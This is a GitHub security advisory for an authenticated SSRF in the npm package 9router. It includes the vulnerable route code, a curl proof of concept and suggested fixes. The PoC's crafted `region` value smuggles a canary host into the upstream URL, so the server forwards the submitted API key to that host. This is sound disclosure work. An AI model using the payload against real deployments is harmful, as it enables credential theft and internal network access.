GitHub Advisoryadvisory · npm

GHSA-6mwv-4mrm-5p3m 9router: Kiro region injection allows authenticated SSRF with Authorization header forwarding

MEDIUM Published 2026-09-23 Modified 2026-09-23 Official page ↗
Aliases
CVE-2026-56678
Ecosystem
npm
Packages
9router
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Weaknesses
CWE-20, CWE-918
Reviewed
2026-09-23

Affected packages

• npm 9router: < 0.5.6 → fixed in 0.5.6

Description

Summary The Kiro API-key validation endpoint builds an upstream URL using a user-controlled `region` value. By supplying a crafted region such as `kiro-canary.local:8443#`, an authenticated attacker can cause 9router to send the Kiro validation request to an attacker-controlled host under the constructed `codewhisperer.` hostname. The request forwards the submitted Kiro API key as an `Authorization: Bearer` header. Details • Affected version / commit: 9router v0.5.2 @ `5da508a`. • Endpoint: `POST /api/oauth/kiro/api-key`. • Correct runtime payload: `region: "kiro-canary.local:8443#"`. • Do not use the old `@host#` payload (`region: "@kiro-canary.local:8443#"`); it is blocked by Node/undici `fetch()` because it creates URL credentials (`"Request cannot be constructed from a URL that includes credentials"`). • Constructed upstream host becomes: `codewhisperer.kiro-canary.local:8443` (the `#` turns the trailing `.amazonaws.com` into a URL fragment). • HTTPS canary captured: `Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO`. • TLS verification was not globally disabled; the reproduction uses a local CA via `NODE_EXTRA_CA_CERTS`. • The no-auth control returns 401, so this standalone issue is authenticated. • `SameSite=Lax` on the session cookie prevents cross-site POST cookie delivery, so do not claim drive-by CSRF unless another same-site / auth-bypass primitive is chained. Root cause. The route reads `region` straight from the request body and passes it, unvalidated, into the upstream URL template; the bearer credential is forwarded to that host, and the upstream response body is reflected back to the client on error: ```js // src/app/api/oauth/kiro/api-key/route.js const { apiKey, region } = await request.json(); ... const credential = await kiroService.validateApiKey(apiKey, region || "us-east-1"); ... } catch (error) { return NextResponse.json({ error: error.message }, { status: 500 }); // reflects upstream body } ``` ```js // src/lib/oauth/services/kiro.js — listAvailableProfiles() const endpoint = `https://codewhisperer.${region}.amazonaws.com`; // region interpolated const response = await fetch(endpoint, { method: "POST", headers: { "x-amz-target": "AmazonCodeWhispererService.ListAvailableProfiles", "Authorization": `Bearer ${accessToken}`, // credential forwarded ... }, body: JSON.stringify({ maxResults: 10 }), }); if (!response.ok) { const error = await response.text(); throw new Error(`Failed to list profiles: ${error}`); // upstream body -> error.message } ``` There is no allowlist on `region`, and the call uses the default fetch dispatcher (no internal-IP denylist / DNS pinning), so a `codewhisperer.` that resolves to an internal address (e.g. `169.254.169.254` or RFC1918) would be reached. PoC Start the package: ```bash docker compose up --build ``` The endpoint is authenticated, so first obtain a dashboard session using the password configured in `docker-compose.yml` (`INITIAL_PASSWORD`), saving the cookie: ```bash curl -i -c session.txt -X POST http://127.0.0.1:18184/api/auth/login \ -H "Content-Type: application/json" \ -d '{"password":"repro-dashboard-pass"}' ``` Then send the region-injection request with that session cookie: ```bash curl -i -b session.txt -X POST http://127.0.0.1:18184/api/oauth/kiro/api-key \ -H "Content-Type: application/json" \ -d '{"apiKey":"DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO","region":"kiro-canary.local:8443#"}' ``` Expected: • 9router returns a 500 whose body contains a controlled canary marker, indicating the validation request reached the canary and its response was reflected. • `docker compose logs kiro-canary` shows a request with: • `Host: codewhisperer.kiro-canary.local:8443` • `Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO` No-auth control (no session cookie): ```bash curl -i -X POST http://127.0.0.1:18184/api/oauth/kiro/api-key \ -H "Content-Type: application/json" \ -d '{"apiKey":"DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO","region":"kiro-canary.local:8443#"}' ``` Expected: 401 Unauthorized. Safe-region control (`region: "us-east-1"`): no canary hit; the blackholed AWS host is never contacted. Impact An authenticated attacker can make the server send a Kiro validation request to an attacker-controlled host and forward the submitted Kiro API key in the Authorization header. This can be used for SSRF and credential forwarding during Kiro API-key validation. The issue is authenticated as a standalone bug. Screenshots The following screenshots show the safe-region control, the region-injection SSRF trigger, the HTTPS canary evidence, and the no-auth control. 1. Safe-region control — normal Kiro validation path >An authenticated request to `/api/oauth/kiro/api-key` using the valid region `us-east-1` and a dummy API key completes normally with `200 OK`. This establishes the expected non-malicious validation path. 2. Region-injection SSRF trigger — canary marker reflected >An authenticated request supplies the crafted region value `kiro-canary.local:8443#`. Because the upstream URL is built from the raw `region` value, the request is routed to the attacker-controlled canary host under the constructed `codewhisperer.` hostname. The response contains a canary marker, confirming the server-side request reached the controlled endpoint. 3. HTTPS canary evidence — Authorization header forwarded >The HTTPS canary logs show a server-side request from the 9router container with `Host: codewhisperer.kiro-canary.local:8443` and `Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO`. This confirms that the injected region controls the constructed upstream host and that 9router forwards the submitted Kiro API key to that host. 4. No-auth control — endpoint requires authentication >The same region-injection payload is sent without an authenticated session cookie, and the server returns `401 Unauthorized`. This confirms the issue is authenticated as a standalone vulnerability and should not be described as unauthenticated unless it is chained with a separate authentication bypass. Suggested Fix • Validate `region` against a strict allowlist of known Kiro/AWS regions (e.g. `^[a-z]{2}-[a-z]+-\d$`). • Construct upstream endpoints only from fixed enum values. • Reject region values containing colon, slash, hash, at-sign, userinfo, whitespace, or hostname separators. • After URL construction, validate that the final hostname exactly matches the expected AWS/Kiro hostname pattern. • Do not forward Authorization headers to hosts derived from untrusted input, and stop reflecting upstream response bodies in `error.message`.

Related

Alias · CVE (1)

Weakness · CWE (2)

  • CWE-20 Improper Input Validation weakness
  • CWE-918 Server-Side Request Forgery weakness

References